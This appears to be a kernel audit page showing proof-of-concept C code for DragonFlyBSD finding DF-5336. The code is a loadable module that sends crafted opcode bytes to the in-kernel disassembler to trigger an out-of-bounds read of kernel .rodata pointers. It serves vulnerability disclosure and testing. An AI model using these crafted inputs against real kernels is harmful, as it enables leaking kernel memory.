⬢ DragonFlyBSD Kernel Audit
DF-5336 / df5336_oob.c
← back to finding ↓ download raw
/*
 * DF-5336 PoC — db_Grp7_11 sub-table inner-index OOB read.
 *
 * sys/cpu/x86_64/misc/db_disasm.c:1275 does:
 *     i_name = db_Grp7_11[f_reg(rex, regmodrm)][regmodrm & 0x7];
 * when (regmodrm & 0xC0) == 0xC0 (mod==3).  The outer index is the known
 * DF-1032/DF-2360 issue.  The INNER index (rm field, 0..7) is unbounded but
 * the sub-tables have only 5 (_000), 4 (_001), 7 (_010) and 2 (_111)
 * entries  -> OOB read of a `const char *' from adjacent kernel .rodata,
 * which is then printed with db_printf("%s") (db_disasm.c:1303).
 * NO REX prefix is required.
 *
 * This KLD feeds crafted byte sequences straight to the in-kernel
 * db_disasm() and prints the result.  Control vectors exercise in-bounds
 * entries; OOB vectors exercise rm values past each sub-table's length.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <ddb/ddb.h>

struct tvec {
	const char *desc;
	unsigned char bytes[4];
	int len;
	int oob;
};

static struct tvec tv[] = {
	/* ---- controls: in-bounds inner index ---- */
	{ "CTRL reg=0 rm=4 (vmxoff,  _000[4] last ok)", {0x0f,0x01,0xc4}, 3, 0 },
	{ "CTRL reg=1 rm=0 (monitor, _001[0])",         {0x0f,0x01,0xc8}, 3, 0 },
	{ "CTRL reg=2 rm=6 (xtest,   _010[6] last ok)", {0x0f,0x01,0xd6}, 3, 0 },
	{ "CTRL reg=5 rm=0 (swapgs,  _111[0])",         {0x0f,0x01,0xe8}, 3, 0 },
	{ "CTRL reg=5 rm=1 (rdtscp,  _111[1] last ok)", {0x0f,0x01,0xe9}, 3, 0 },
	/* ---- OOB: rm past each sub-table's length, no REX ---- */
	{ "OOB  reg=0 rm=5 (_000[5], table len 5)",     {0x0f,0x01,0xc5}, 3, 1 },
	{ "OOB  reg=0 rm=7 (_000[7], table len 5)",     {0x0f,0x01,0xc7}, 3, 1 },
	{ "OOB  reg=1 rm=4 (_001[4], table len 4)",     {0x0f,0x01,0xcc}, 3, 1 },
	{ "OOB  reg=2 rm=7 (_010[7], table len 7)",     {0x0f,0x01,0xd7}, 3, 1 },
	{ "OOB  reg=5 rm=2 (_111[2], table len 2)",     {0x0f,0x01,0xea}, 3, 1 },
	{ "OOB  reg=5 rm=7 (_111[7], table len 2)",     {0x0f,0x01,0xef}, 3, 1 },
};

static int
df5336_modevent(module_t mod, int type, void *arg)
{
	int i;

	switch (type) {
	case MOD_LOAD:
		kprintf("DF5336: begin db_disasm Grp7_11 inner-index test\n");
		for (i = 0; i < (int)(sizeof(tv)/sizeof(tv[0])); i++) {
			unsigned char buf[16];
			memcpy(buf, tv[i].bytes, tv[i].len);
			kprintf("DF5336 %-45s bytes %02x %02x %02x -> ",
			    tv[i].desc, buf[0], buf[1], buf[2]);
			db_disasm((db_addr_t)buf, FALSE, NULL);
		}
		kprintf("DF5336: end test\n");
		return (0);
	case MOD_UNLOAD:
		return (0);
	}
	return (EOPNOTSUPP);
}

static moduledata_t df5336_mod = { "df5336_oob", df5336_modevent, NULL };
DECLARE_MODULE(df5336_oob, df5336_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);